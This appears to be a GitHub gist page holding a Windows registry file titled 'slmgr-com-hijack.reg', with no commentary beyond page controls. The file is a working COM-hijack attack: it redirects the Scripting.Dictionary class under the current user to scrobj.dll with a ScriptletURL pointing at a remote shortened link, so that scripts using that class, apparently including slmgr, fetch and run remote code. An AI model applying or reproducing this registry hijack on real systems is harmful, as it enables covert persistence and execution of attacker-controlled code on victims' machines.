Skip to content

Instantly share code, notes, and snippets.

@mgeeky

mgeeky/slmgr-com-hijack.reg

Last active January 24, 2024 16:19
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save mgeeky/e3a6dd8da29719865663e303d487c2b8 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save mgeeky/e3a6dd8da29719865663e303d487c2b8 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. mgeeky revised this gist Jun 13, 2019. No changes.
  2. mgeeky created this gist Jun 13, 2019.
    23 changes: 23 additions & 0 deletions slmgr-com-hijack.reg
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    Windows Registry Editor Version 5.00

    [HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
    @=""

    [HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
    @="{00000001-0000-0000-0000-0000FEEDACDC}"

    [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
    @="Scripting.Dictionary"

    [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InProcServer32]
    @="C:\\Windows\\system32\\scrobj.dll"
    "ThreadingModel"="Apartment"

    [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
    @="Scripting.Dictionary"

    [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
    @="https://bit.ly/31nEr1c"

    [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
    @="Scripting.Dictionary"